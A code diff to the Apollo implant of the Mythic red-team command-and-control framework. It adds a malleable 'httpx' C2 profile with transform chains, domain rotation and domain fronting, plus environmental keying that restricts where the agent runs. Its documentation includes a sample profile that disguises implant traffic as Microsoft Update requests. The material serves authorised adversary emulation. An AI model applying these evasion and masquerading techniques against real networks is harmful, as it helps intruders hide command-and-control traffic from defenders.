cannot use '{transform.get('action')}' when message location is 'query'. " + "Prepend/append transforms corrupt query parameter values because the server extracts only the parameter value " + "(without the parameter name), causing transform mismatches. Use prepend/append only for 'body', 'header', or 'cookie' locations." + ) + + # Validate server transforms + server = variation.get("server", {}) + server_transforms = server.get("transforms", []) + for transform in server_transforms: + action = transform.get("action", "").lower() + if action not in valid_actions: + return f"Invalid {method} server transform action: {transform.get('action')}" + + # Validate encoding consistency: client and server must use matching base64/base64url encoding + client_encoding = None + for transform in client_transforms: + action = transform.get("action", "").lower() + if action in ["base64", "base64url"]: + client_encoding = action + + server_encoding = None + # Server transforms are applied in reverse order, so check from the end + for transform in reversed(server_transforms): + action = transform.get("action", "").lower() + if action in ["base64", "base64url"]: + server_encoding = action + break + + # If both client and server have encoding transforms, they must match + if client_encoding and server_encoding and client_encoding != server_encoding: + return ( + f"{method} encoding mismatch: client uses {client_encoding} but server uses {server_encoding}. " + "Client and server encoding transforms must match." + ) + + return None # Validation passed + + class Apollo(PayloadType): name = "apollo" file_extension = "exe" @@ -24,6 +143,7 @@ class Apollo(PayloadType): semver = "2.4.3" wrapper = False wrapped_payloads = ["scarecrow_wrapper", "service_wrapper"] + c2_profiles = ["http", "httpx", "smb", "tcp", "websocket"] note = """ A fully featured .NET 4.0 compatible training agent. Version: {}. NOTE: P2P Not compatible with v2.2 agents! @@ -36,8 +156,14 @@ class Apollo(PayloadType): supports_multiple_c2_in_build = False c2_parameter_deviations = { "http": { - "get_uri": C2ParameterDeviation(supported=False), - "query_path_name": C2ParameterDeviation(supported=False), + "get_uri": C2ParameterDeviation( + supported=False, + choices=[] # Disabled parameter, but frontend expects array + ), + "query_path_name": C2ParameterDeviation( + supported=False, + choices=[] # Disabled parameter, but frontend expects array + ), #"headers": C2ParameterDeviation(supported=True, dictionary_choices=[ # DictionaryChoice(name="User-Agent", default_value="Hello", default_show=True), # DictionaryChoice(name="HostyHost", default_show=False, default_value=""), @@ -90,9 +216,71 @@ class Apollo(PayloadType): default_value=False, description="Create a DEBUG version.", ui_position=2, + ), + BuildParameter( + name="enable_keying", + parameter_type=BuildParameterType.Boolean, + default_value=False, + description="Enable environmental keying to restrict agent execution to specific systems.", + group_name="Keying Options", + ), + BuildParameter( + name="keying_method", + parameter_type=BuildParameterType.ChooseOne, + choices=["Hostname", "Domain", "Registry"], + default_value="Hostname", + description="Method of environmental keying.", + group_name="Keying Options", + hide_conditions=[ + HideCondition(name="enable_keying", operand=HideConditionOperand.NotEQ, value=True) + ] + ), + BuildParameter( + name="keying_value", + parameter_type=BuildParameterType.String, + default_value="", + description="The hostname or domain name the agent should match (case-insensitive). Agent will exit if it doesn't match.", + group_name="Keying Options", + hide_conditions=[ + HideCondition(name="enable_keying", operand=HideConditionOperand.NotEQ, value=True), + HideCondition(name="keying_method", operand=HideConditionOperand.EQ, value="Registry") + ] + ), + BuildParameter( + name="registry_path", + parameter_type=BuildParameterType.String, + default_value="", + description="Full registry path (e.g., HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProductName)", + group_name="Keying Options", + hide_conditions=[ + HideCondition(name="enable_keying", operand=HideConditionOperand.NotEQ, value=True), + HideCondition(name="keying_method", operand=HideConditionOperand.NotEQ, value="Registry") + ] + ), + BuildParameter( + name="registry_value", + parameter_type=BuildParameterType.String, + default_value="", + description="The registry value to check against.", + group_name="Keying Options", + hide_conditions=[ + HideCondition(name="enable_keying", operand=HideConditionOperand.NotEQ, value=True), + HideCondition(name="keying_method", operand=HideConditionOperand.NotEQ, value="Registry") + ] + ), + BuildParameter( + name="registry_comparison", + parameter_type=BuildParameterType.ChooseOne, + choices=["Matches", "Contains"], + default_value="Matches", + description="Matches (secure, hash-based) or Contains (WEAK, plaintext comparison). WARNING: Contains mode stores the value in plaintext!", + group_name="Keying Options", + hide_conditions=[ + HideCondition(name="enable_keying", operand=HideConditionOperand.NotEQ, value=True), + HideCondition(name="keying_method", operand=HideConditionOperand.NotEQ, value="Registry") + ] ) ] - c2_profiles = ["http", "smb", "tcp", "websocket"] agent_path = pathlib.Path(".") / "apollo" / "mythic" agent_code_path = pathlib.Path(".") / "apollo" / "agent_code" agent_icon_path = agent_path / "agent_functions" / "apollo.svg" @@ -124,9 +312,60 @@ async def build(self) -> BuildResponse: defines_commands_upper = [f"#define {x.upper()}" for x in resp.updated_command_list] else: defines_commands_upper = [f"#define {x.upper()}" for x in self.commands.get_commands()] + # Handle keying parameters + enable_keying = self.get_parameter('enable_keying') + keying_enabled = "true" if enable_keying else "false" + keying_method_str = self.get_parameter('keying_method') if enable_keying else "" + + # Map keying method to numeric value for obfuscation + # 0 = None, 1 = Hostname, 2 = Domain, 3 = Registry + keying_method_map = { + "Hostname": "1", + "Domain": "2", + "Registry": "3" + } + keying_method = keying_method_map.get(keying_method_str, "0") + + # Hash the keying value for security (force uppercase before hashing) + keying_value_hash = "" + registry_path = "" + registry_value = "" + registry_comparison = "0" # Default to 0 for numeric field + + if enable_keying: + if keying_method_str == "Registry": + # Handle registry keying + registry_path = self.get_parameter('registry_path') if self.get_parameter('registry_path') else "" + registry_comparison_str = self.get_parameter('registry_comparison') if self.get_parameter('registry_comparison') else "Matches" + + # Map registry comparison to numeric value: 1 = Matches, 2 = Contains + registry_comparison = "1" if registry_comparison_str == "Matches" else "2" + + registry_value_raw = self.get_parameter('registry_value') if self.get_parameter('registry_value') else "" + + if registry_comparison_str == "Matches": + # Hash the registry value for secure matching + if registry_value_raw: + plaintext_value = registry_value_raw.upper() + keying_value_hash = hashlib.sha256(plaintext_value.encode('utf-8')).hexdigest() + elif registry_comparison_str == "Contains": + # Store plaintext for contains matching (weak security) + registry_value = registry_value_raw + else: + # Handle hostname/domain keying + if self.get_parameter('keying_value'): + plaintext_value = self.get_parameter('keying_value').upper() + keying_value_hash = hashlib.sha256(plaintext_value.encode('utf-8')).hexdigest() + special_files_map = { "Config.cs": { "payload_uuid": self.uuid, + "keying_enabled": keying_enabled, + "keying_method": keying_method, + "keying_value_hash": keying_value_hash, + "registry_path": registry_path, + "registry_value": registry_value, + "registry_comparison": registry_comparison, }, } extra_variables = { @@ -145,8 +384,71 @@ async def build(self) -> BuildResponse: for c2 in self.c2info: profile = c2.get_c2profile() defines_profiles_upper.append(f"#define {profile['name'].upper()}") + + # Initialize all parameters with empty strings as defaults to ensure placeholders are replaced + if profile['name'] == 'httpx': + default_httpx_params = ['callback_interval', 'callback_jitter', 'callback_domains', + 'domain_rotation', 'failover_threshold', 'encrypted_exchange_check', + 'killdate', 'raw_c2_config', 'proxy_host', 'proxy_port', + 'proxy_user', 'proxy_pass', 'domain_front', 'timeout'] + for param in default_httpx_params: + prefixed_key = f"{profile['name'].lower()}_{param}" + if prefixed_key not in special_files_map.get("Config.cs", {}): + special_files_map.setdefault("Config.cs", {})[prefixed_key] = "" + for key, val in c2.get_parameters_dict().items(): prefixed_key = f"{profile['name'].lower()}_{key}" + + # Check for raw_c2_config file parameter FIRST before other type checks + if key == "raw_c2_config" and profile['name'] == "httpx": + # Handle httpx raw_c2_config file parameter - REQUIRED for httpx profile + if not val or val == "": + resp.set_status(BuildStatus.Error) + resp.build_stderr = "raw_c2_config is REQUIRED for httpx profile. Please upload a JSON or TOML configuration file." + return resp + + try: + # Read configuration file contents + response = await SendMythicRPCFileGetContent(MythicRPCFileGetContentMessage(val)) + + if not response.Success: + resp.set_status(BuildStatus.Error) + resp.build_stderr = f"Error reading raw_c2_config file: {response.Error}" + return resp + + raw_config_file_data = response.Content.decode('utf-8') + + # Try parsing the content as JSON first + try: + config_data = json.loads(raw_config_file_data) + except json.JSONDecodeError: + # If JSON fails, try parsing as TOML + try: + config_data = toml.loads(raw_config_file_data) + except Exception as toml_err: + resp.set_status(BuildStatus.Error) + resp.build_stderr = f"Failed to parse raw_c2_config as JSON or TOML: {toml_err}" + return resp + + # Validate the httpx configuration before building + validation_error = validate_httpx_config(config_data) + if validation_error: + resp.set_status(BuildStatus.Error) + resp.build_stderr = f"Invalid httpx configuration: {validation_error}" + return resp + + # Store the parsed config for Apollo to use + # Base64 encode to avoid C# string escaping issues + import base64 + encoded_config = base64.b64encode(raw_config_file_data.encode('utf-8')).decode('ascii') + special_files_map["Config.cs"][prefixed_key] = encoded_config + + except Exception as err: + resp.set_status(BuildStatus.Error) + resp.build_stderr = f"Error processing raw_c2_config: {str(err)}" + return resp + + continue # Skip to next parameter if isinstance(val, dict) and 'enc_key' in val: if val["value"] == "none": @@ -154,12 +456,33 @@ async def build(self) -> BuildResponse: resp.set_build_message("Apollo does not support plaintext encryption") return resp - stdout_err += "Setting {} to {}".format(prefixed_key, val["enc_key"] if val["enc_key"] is not None else "") - # TODO: Prefix the AESPSK variable and also make it specific to each profile special_files_map["Config.cs"][key] = val["enc_key"] if val["enc_key"] is not None else "" - elif isinstance(val, str): - special_files_map["Config.cs"][prefixed_key] = val.replace("\\", "\\\\") + elif isinstance(val, list): + # Handle list values (like callback_domains as an array) + val = ', '.join(str(item) for item in val) + + # Now process as string if it's a string + if isinstance(val, str): + # Check if the value looks like a JSON array string (e.g., '["domain1", "domain2"]') + if val.strip().startswith('[') and val.strip().endswith(']'): + try: + # Parse the JSON array and join with commas for Apollo + json_val = json.loads(val) + if isinstance(json_val, list): + # Join list items with commas + val = ', '.join(json_val) + except: + # If parsing fails, use as-is + pass + + escaped_val = val.replace("\\", "\\\\") + # Check for newlines in the string that would break C# syntax + if '\n' in escaped_val or '\r' in escaped_val: + stdout_err += f" WARNING: String '{prefixed_key}' contains newlines! This will break C# syntax.\n" + # Replace newlines with escaped versions for C# strings + escaped_val = escaped_val.replace('\n', '\\n').replace('\r', '\\r') + special_files_map["Config.cs"][prefixed_key] = escaped_val elif isinstance(val, bool): if key == "encrypted_exchange_check" and not val: resp.set_status(BuildStatus.Error) @@ -170,11 +493,30 @@ async def build(self) -> BuildResponse: extra_variables = {**extra_variables, **val} else: special_files_map["Config.cs"][prefixed_key] = json.dumps(val) + try: # make a temp directory for it to live agent_build_path = tempfile.TemporaryDirectory(suffix=self.uuid) + # shutil to copy payload files over copy_tree(str(self.agent_code_path), agent_build_path.name) + + # Get selected profiles from c2info + selected_profiles = [c2.get_c2profile()['name'] for c2 in self.c2info] + + # Filter Apollo.csproj to include only selected profile projects + csproj_path = os.path.join(agent_build_path.name, "Apollo", "Apollo.csproj") + if os.path.exists(csproj_path): + try: + filter_csproj_profile_references(csproj_path, selected_profiles) + + # Also filter Config.cs to remove #define statements for unselected profiles + config_path = os.path.join(agent_build_path.name, "Apollo", "Config.cs") + if os.path.exists(config_path): + filter_config_defines(config_path, selected_profiles) + except Exception as e: + stdout_err += f"\nWarning: Failed to filter csproj references: {e}. Building with all profiles.\n" + # first replace everything in the c2 profiles for csFile in get_csharp_files(agent_build_path.name): templateFile = open(csFile, "rb").read().decode() @@ -183,7 +525,9 @@ async def build(self) -> BuildResponse: for specialFile in special_files_map.keys(): if csFile.endswith(specialFile): for key, val in special_files_map[specialFile].items(): - templateFile = templateFile.replace(key + "_here", val) + placeholder = key + "_here" + if placeholder in templateFile: + templateFile = templateFile.replace(placeholder, val) if specialFile == "Config.cs": if len(extra_variables.keys()) > 0: extra_data = "" @@ -194,12 +538,24 @@ async def build(self) -> BuildResponse: templateFile = templateFile.replace("HTTP_ADDITIONAL_HEADERS_HERE", "") with open(csFile, "wb") as f: f.write(templateFile.encode()) + + # Determine if we need to embed the default config + embed_default_config = True + for c2 in self.c2info: + profile = c2.get_c2profile() + if profile['name'] == 'httpx': + raw_config = c2.get_parameters_dict().get('raw_c2_config', '') + if raw_config and raw_config != "": + embed_default_config = False + break + output_path = f"{agent_build_path.name}/{buildPath}/Apollo.exe" + + # Build command with conditional embedding if self.get_parameter('debug'): - command = f"dotnet build -c {compileType} -p:Platform=\"Any CPU\" -o {agent_build_path.name}/{buildPath}/" + command = f"dotnet build -c {compileType} -p:Platform=\"Any CPU\" -p:EmbedDefaultConfig={str(embed_default_config).lower()} -o {agent_build_path.name}/{buildPath}/ --verbosity quiet" else: - command = f"dotnet build -c {compileType} -p:DebugType=None -p:DebugSymbols=false -p:Platform=\"Any CPU\" -o {agent_build_path.name}/{buildPath}/" - #command = "rm -rf packages/*; nuget restore -NoCache -Force; msbuild -p:Configuration=Release -p:Platform=\"Any CPU\"" + command = f"dotnet build -c {compileType} -p:DebugType=None -p:DebugSymbols=false -p:DefineConstants=\"\" -p:Platform=\"Any CPU\" -p:EmbedDefaultConfig={str(embed_default_config).lower()} -o {agent_build_path.name}/{buildPath}/ --verbosity quiet" await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage( PayloadUUID=self.uuid, StepName="Gathering Files", @@ -214,6 +570,20 @@ async def build(self) -> BuildResponse: if stderr: stdout_err += f'[stderr]\n{stderr.decode()}' + "\n" + command + # Check if dotnet build command succeeded + if proc.returncode != 0: + await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage( + PayloadUUID=self.uuid, + StepName="Compiling", + StepStdout=f"dotnet build failed with exit code {proc.returncode}\nCommand: {command}\n{stdout_err}", + StepSuccess=False + )) + resp.status = BuildStatus.Error + resp.payload = b"" + resp.build_message = f"dotnet build failed with exit code {proc.returncode}" + resp.build_stderr = stdout_err + return resp + if os.path.exists(output_path): await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage( PayloadUUID=self.uuid, @@ -287,6 +657,20 @@ async def build(self) -> BuildResponse: stdout_err += f'[stdout]\n{stdout.decode()}\n' stdout_err += f'[stderr]\n{stderr.decode()}' + # Check if donut command succeeded + if proc.returncode != 0: + await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage( + PayloadUUID=self.uuid, + StepName="Donut", + StepStdout=f"Donut failed with exit code {proc.returncode}\nCommand: {command}\n{stdout_err}", + StepSuccess=False + )) + resp.build_message = f"Donut failed with exit code {proc.returncode}" + resp.status = BuildStatus.Error + resp.payload = b"" + resp.build_stderr = stdout_err + return resp + if not os.path.exists(shellcode_path): await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage( PayloadUUID=self.uuid, @@ -327,7 +711,7 @@ async def build(self) -> BuildResponse: if self.get_parameter('debug'): command = f"dotnet build -c {compileType} -p:OutputType=WinExe -p:Platform=\"Any CPU\"" else: - command = f"dotnet build -c {compileType} -p:DebugType=None -p:DebugSymbols=false -p:OutputType=WinExe -p:Platform=\"Any CPU\"" + command = f"dotnet build -c {compileType} -p:DebugType=None -p:DebugSymbols=false -p:DefineConstants=\"\" -p:OutputType=WinExe -p:Platform=\"Any CPU\"" proc = await asyncio.create_subprocess_shell( command, stdout=asyncio.subprocess.PIPE, @@ -339,6 +723,21 @@ async def build(self) -> BuildResponse: stdout_err += f"[stdout]\n{stdout.decode()}" if stderr: stdout_err += f"[stderr]\n{stderr.decode()}" + + # Check if service build command succeeded + if proc.returncode != 0: + await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage( + PayloadUUID=self.uuid, + StepName="Service Compiling", + StepStdout=f"Service build failed with exit code {proc.returncode}\nCommand: {command}\n{stdout_err}", + StepSuccess=False + )) + resp.status = BuildStatus.Error + resp.payload = b"" + resp.build_message = f"Service build failed with exit code {proc.returncode}" + resp.build_stderr = stdout_err + return resp + output_path = ( pathlib.PurePath(agent_build_path.name) / "Service" @@ -443,6 +842,90 @@ def get_csharp_files(base_path: str) -> list[str]: return results +def filter_config_defines(config_path: str, selected_profiles: list[str]) -> None: + """ + Modify Config.cs to comment out #define statements for unselected profiles. + This prevents compilation errors when profile assemblies aren't included. + """ + profile_defines = { + 'http': '#define HTTP', + 'httpx': '#define HTTPX', + 'smb': '#define SMB', + 'tcp': '#define TCP', + 'websocket': '#define WEBSOCKET' + } + + # Read lines + with open(config_path, 'r', encoding='utf-8') as f: + lines = f.readlines() + + # Filter lines: comment out unselected profile defines + filtered_lines = [] + for line in lines: + modified = False + for profile_name, define_line in profile_defines.items(): + if define_line in line and profile_name not in selected_profiles: + # Comment out this define + filtered_lines.append('//' + line.lstrip()) + modified = True + break + + if not modified: + filtered_lines.append(line) + + # Write back + with open(config_path, 'w', encoding='utf-8') as f: + f.writelines(filtered_lines) + + +def filter_csproj_profile_references(csproj_path: str, selected_profiles: list[str]) -> None: + """ + Modify Apollo.csproj to include only ProjectReference entries for selected profiles. + Simple line-by-line filtering + """ + # Map profile names to their line content in csproj + profile_lines = { + 'http': ' ', + 'httpx': ' ', + 'smb': ' ', + 'tcp': ' ', + 'websocket': ' ' + } + + # Also track HttpxTransform + httpx_transform_line = ' ' + + # Read lines + with open(csproj_path, 'r', encoding='utf-8') as f: + lines = f.readlines() + + # Filter lines: keep core references and selected profile references + filtered_lines = [] + for line in lines: + # Check if this is a profile reference line + is_profile_line = False + for profile_name, profile_line in profile_lines.items(): + if profile_line in line: + # Keep only if this profile is selected + if profile_name in selected_profiles: + filtered_lines.append(line) + is_profile_line = True + break + + # Check if this is HttpxTransform line + if httpx_transform_line in line: + # Keep only if httpx is selected + if 'httpx' in selected_profiles: + filtered_lines.append(line) + elif not is_profile_line: + # Keep all non-profile lines as-is + filtered_lines.append(line) + + # Write back + with open(csproj_path, 'w', encoding='utf-8') as f: + f.writelines(filtered_lines) + + def adjust_file_name(filename, shellcode_format, output_type, adjust_filename): if not adjust_filename: return filename diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/execute_assembly.py b/Payload_Type/apollo/apollo/mythic/agent_functions/execute_assembly.py index b2a49d6d..015cd00e 100644 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/execute_assembly.py +++ b/Payload_Type/apollo/apollo/mythic/agent_functions/execute_assembly.py @@ -127,7 +127,7 @@ async def build_exeasm(self): ) # shutil to copy payload files over copy_tree(str(self.agent_code_path), agent_build_path.name) - shell_cmd = "dotnet build -c release -p:DebugType=None -p:DebugSymbols=false -p:Platform=x64 {}/ExecuteAssembly/ExecuteAssembly.csproj -o {}/ExecuteAssembly/bin/Release/".format( + shell_cmd = "dotnet build -c release -p:DebugType=None -p:DebugSymbols=false -p:Platform=x64 {}/ExecuteAssembly/ExecuteAssembly.csproj -o {}/ExecuteAssembly/bin/Release/ --verbosity quiet".format( agent_build_path.name, agent_build_path.name ) proc = await asyncio.create_subprocess_shell( diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/execute_pe.py b/Payload_Type/apollo/apollo/mythic/agent_functions/execute_pe.py index b4c024cc..4f2807b9 100644 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/execute_pe.py +++ b/Payload_Type/apollo/apollo/mythic/agent_functions/execute_pe.py @@ -126,7 +126,7 @@ async def build_exepe(self): agent_build_path.name ) copy_tree(str(self.agent_code_path), agent_build_path.name) - shell_cmd = "dotnet build -c release -p:DebugType=None -p:DebugSymbols=false -p:Platform=x64 {}/ExecutePE/ExecutePE.csproj -o {}/ExecutePE/bin/Release".format( + shell_cmd = "dotnet build -c release -p:DebugType=None -p:DebugSymbols=false -p:Platform=x64 {}/ExecutePE/ExecutePE.csproj -o {}/ExecutePE/bin/Release --verbosity quiet".format( agent_build_path.name, agent_build_path.name ) proc = await asyncio.create_subprocess_shell( diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/load.py b/Payload_Type/apollo/apollo/mythic/agent_functions/load.py index bd9bf721..d13f2451 100644 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/load.py +++ b/Payload_Type/apollo/apollo/mythic/agent_functions/load.py @@ -174,7 +174,7 @@ async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreat f.write(templateFile.encode()) outputPath = "{}/Tasks/bin/Release/Tasks.dll".format(agent_build_path.name) - shell_cmd = "dotnet build -c release -p:DebugType=None -p:DebugSymbols=false -p:Platform=x64 {}/Tasks/Tasks.csproj -o {}/Tasks/bin/Release/".format(agent_build_path.name, agent_build_path.name) + shell_cmd = "dotnet build -c release -p:DebugType=None -p:DebugSymbols=false -p:Platform=x64 {}/Tasks/Tasks.csproj -o {}/Tasks/bin/Release/ --verbosity quiet".format(agent_build_path.name, agent_build_path.name) proc = await asyncio.create_subprocess_shell(shell_cmd, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE, cwd=agent_build_path.name) stdout, stderr = await proc.communicate() diff --git a/README.md b/README.md index bca85219..49d5eb8c 100644 --- a/README.md +++ b/README.md @@ -25,6 +25,9 @@ Once installed, restart Mythic to build a new agent. - Unmanged PE, .NET Assembly, and PowerShell Script Execution - User Exploitation Suite - SOCKSv5 Support +- Advanced HTTPX Profile with Malleable Configuration Support +- Message Transform Support (Base64, NetBIOS, XOR, etc.) +- Domain Rotation and Proxy Support ## Commands Manual Quick Reference @@ -100,6 +103,10 @@ whoami | `whoami` The HTTP profile calls back to the Mythic server over the basic, non-dynamic profile. When selecting options to be stamped into Apollo at compile time, all options are respected with the exception of those parameters relating to GET requests. +### [HTTPX Profile](https://github.com/MythicC2Profiles/httpx) + +Advanced HTTP profile with malleable configuration support and message transforms. Provides significantly more flexibility and OPSEC benefits compared to the basic HTTP profile, making it ideal for red team operations. + ### [SMB Profile](https://github.com/MythicC2Profiles/smb) Establish communications over SMB named pipes. By default, the named pipe name will be a randomly generated GUID. @@ -108,6 +115,10 @@ Establish communications over SMB named pipes. By default, the named pipe name w Establish communications over a specified network socket. Note: If unelevated, the user may receive a prompt to allow communications from the binary to occur over the network. +### [WebSocket Profile](https://github.com/MythicC2Profiles/websocket) + +Establish communications over WebSocket connections for real-time bidirectional communication. + ## SOCKSv5 Support Apollo can route SOCKS traffic regardless of what other commands are compiled in. To start the socks server, issue `socks -Port [port]`. This starts a SOCKS server on the Mythic server which is `proxychains4` compatible. To stop the SOCKS proxy, navigate to the SOCKS page in the Mythic UI and terminate it. diff --git a/agent_capabilities.json b/agent_capabilities.json index 9a479ccc..1678e137 100644 --- a/agent_capabilities.json +++ b/agent_capabilities.json @@ -9,7 +9,7 @@ }, "payload_output": ["exe", "shellcode", "service", "source"], "architectures": ["x86_64"], - "c2": ["http", "smb", "tcp", "websocket"], + "c2": ["http", "smb", "tcp", "websocket", "httpx"], "mythic_version": "3.4.6", "agent_version": "2.4.2", "supported_wrappers": ["service_wrapper", "scarecrow_wrapper"] diff --git a/documentation-payload/apollo/c2_profiles/HTTPX.md b/documentation-payload/apollo/c2_profiles/HTTPX.md new file mode 100644 index 00000000..fab20564 --- /dev/null +++ b/documentation-payload/apollo/c2_profiles/HTTPX.md @@ -0,0 +1,515 @@ ++++ +title = "HTTPX" +chapter = false +weight = 103 ++++ + +## Summary +Advanced HTTP profile with malleable configuration support and message transforms for enhanced OPSEC. Based on the httpx C2 profile with extensive customization options. + +### Profile Options + +#### Callback Domains +Array of callback domains to communicate with. Supports multiple domains for redundancy and domain rotation. + +**Example:** `https://example.com:443,https://backup.com:443` + +#### Domain Rotation +Domain rotation pattern for handling multiple callback domains: + +- **fail-over**: Uses each domain in order until communication fails, then moves to the next +- **round-robin**: Cycles through domains for each request +- **random**: Randomly selects a domain for each request + +#### Failover Threshold +Number of consecutive failures before switching to the next domain in fail-over mode. + +**Default:** 5 + +#### Callback Interval in seconds +Time to sleep between agent check-ins. + +**Default:** 10 + +#### Callback Jitter in percent +Randomize the callback interval within the specified threshold. + +**Default:** 23 + +#### Encrypted Exchange Check +**Required:** Must be true. The HTTPX profile uses RSA-4096 key exchange (EKE) for secure communication and cannot operate without it. This ensures all traffic is encrypted with client-side generated keys. + +**Default:** true (Cannot be disabled) + +#### Kill Date +The date at which the agent will stop calling back. + +**Default:** 365 days from build + +#### Raw C2 Config +JSON configuration file defining malleable profile behavior. If not provided, uses default configuration. + +### proxy_host +Proxy server hostname or IP address for outbound connections. + +**Example:** `proxy.company.com` + +### proxy_port +Proxy server port number. + +**Example:** `8080` + +### proxy_user +Username for proxy authentication (if required). + +### proxy_pass +Password for proxy authentication (if required). + +### domain_front +Domain fronting header value. Sets the `Host` header to this value for traffic obfuscation. + +**Example:** `cdn.example.com` + +### timeout +Request timeout in seconds for HTTP connections. + +**Default:** `240` + +## Security: RSA Key Exchange (EKE) + +The HTTPX profile implements EKE using client-side generated RSA keys for secure communication: + +- **RSA Key Size:** 4096-bit key pairs generated on the agent side +- **Exchange Process:** Agent generates an RSA keypair and sends the public key to Mythic, which responds with an encrypted session key +- **Security:** All communication is encrypted using this negotiated session key +- **Requirement:** EKE is mandatory and cannot be disabled in the HTTPX profile + +This ensures that even if the communication is intercepted, without the private key on the agent, the traffic remains encrypted. + +## Malleable Profile Configuration + +The httpx profile supports extensive customization through malleable profiles defined in JSON format. + +### Configuration Structure + +```json +{ + "name": "Profile Name", + "get": { + "verb": "GET", + "uris": ["/api/status", "/health"], + "client": { + "headers": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" + }, + "parameters": { + "version": "1.0", + "format": "json" + }, + "message": { + "location": "query", + "name": "data" + }, + "transforms": [ + { + "action": "base64", + "value": "" + } + ] + }, + "server": { + "headers": { + "Content-Type": "application/json", + "Server": "nginx/1.18.0" + }, + "transforms": [ + { + "action": "base64", + "value": "" + } + ] + } + }, + "post": { + "verb": "POST", + "uris": ["/api/data", "/submit"], + "client": { + "headers": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", + "Content-Type": "application/x-www-form-urlencoded" + }, + "message": { + "location": "body", + "name": "" + }, + "transforms": [ + { + "action": "base64", + "value": "" + } + ] + }, + "server": { + "headers": { + "Content-Type": "application/json", + "Server": "nginx/1.18.0" + }, + "transforms": [ + { + "action": "base64", + "value": "" + } + ] + } + } +} +``` + +### Message Locations + +Messages can be placed in different parts of HTTP requests: + +- **body**: Message in request body (default for POST) +- **query**: Message as query parameter +- **header**: Message in HTTP header +- **cookie**: Message in HTTP cookie + +### Transform Actions + +The following transform actions are supported: + +#### base64 +Standard Base64 encoding/decoding. + +#### base64url +URL-safe Base64 encoding/decoding (uses `-` and `_` instead of `+` and `/`). + +#### netbios +NetBIOS encoding (lowercase). Each byte is split into two nibbles and encoded as lowercase letters. + +#### netbiosu +NetBIOS encoding (uppercase). Each byte is split into two nibbles and encoded as uppercase letters. + +#### xor +XOR encryption with specified key. + +**Example:** +```json +{ + "action": "xor", + "value": "mysecretkey" +} +``` + +#### prepend +Prepend data with specified value. + +**Example:** +```json +{ + "action": "prepend", + "value": "prefix" +} +``` + +#### append +Append data with specified value. + +**Example:** +```json +{ + "action": "append", + "value": "suffix" +} +``` + +### Transform Chains + +Transforms are applied in sequence. For client transforms, they are applied in order. For server transforms, they are applied in reverse order to decode the data. + +**Example Transform Chain:** +```json +"transforms": [ + { + "action": "xor", + "value": "secretkey" + }, + { + "action": "base64", + "value": "" + }, + { + "action": "prepend", + "value": "data=" + } +] +``` + +## Example Malleable Profiles + +### Microsoft Update Profile +```json +{ + "name": "Microsoft Update", + "get": { + "verb": "GET", + "uris": [ + "/msdownload/update/v3/static/trustedr/en/authrootstl.cab", + "/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab" + ], + "client": { + "headers": { + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", + "Accept-Encoding": "gzip, deflate", + "Connection": "Keep-Alive", + "Cache-Control": "no-cache", + "User-Agent": "Microsoft-CryptoAPI/10.0" + }, + "parameters": null, + "message": { + "location": "query", + "name": "cversion" + }, + "transforms": [ + { + "action": "base64url", + "value": "" + } + ] + }, + "server": { + "headers": { + "Content-Type": "application/vnd.ms-cab-compressed", + "Server": "Microsoft-IIS/10.0", + "X-Powered-By": "ASP.NET", + "Connection": "keep-alive", + "Cache-Control": "max-age=86400" + }, + "transforms": [ + { + "action": "xor", + "value": "updateKey2025" + }, + { + "action": "base64", + "value": "" + }, + { + "action": "prepend", + "value": "MSCF\u0000\u0000\u0000\u0000" + }, + { + "action": "append", + "value": "\u0000\u0000\u0001\u0000\u0000\u0000\u0000\u0000" + } + ] + } + }, + "post": { + "verb": "POST", + "uris": [ + "/msdownload/update/v3/static/feedbackapi/en/feedback.aspx" + ], + "client": { + "headers": { + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", + "Accept-Encoding": "gzip, deflate", + "Connection": "Keep-Alive", + "Content-Type": "application/x-www-form-urlencoded", + "User-Agent": "Microsoft-CryptoAPI/10.0" + }, + "parameters": null, + "message": { + "location": "body", + "name": "feedback" + }, + "transforms": [ + { + "action": "xor", + "value": "feedbackKey" + }, + { + "action": "base64", + "value": "" + } + ] + }, + "server": { + "headers": { + "Content-Type": "text/html; charset=utf-8", + "Server": "Microsoft-IIS/10.0", + "X-Powered-By": "ASP.NET", + "Connection": "keep-alive", + "Cache-Control": "no-cache, no-store" + }, + "transforms": [ + { + "action": "xor", + "value": "responseKey" + }, + { + "action": "base64", + "value": "" + }, + { + "action": "prepend", + "value": "Feedback Submitted
" + }, + { + "action": "append", + "value": "
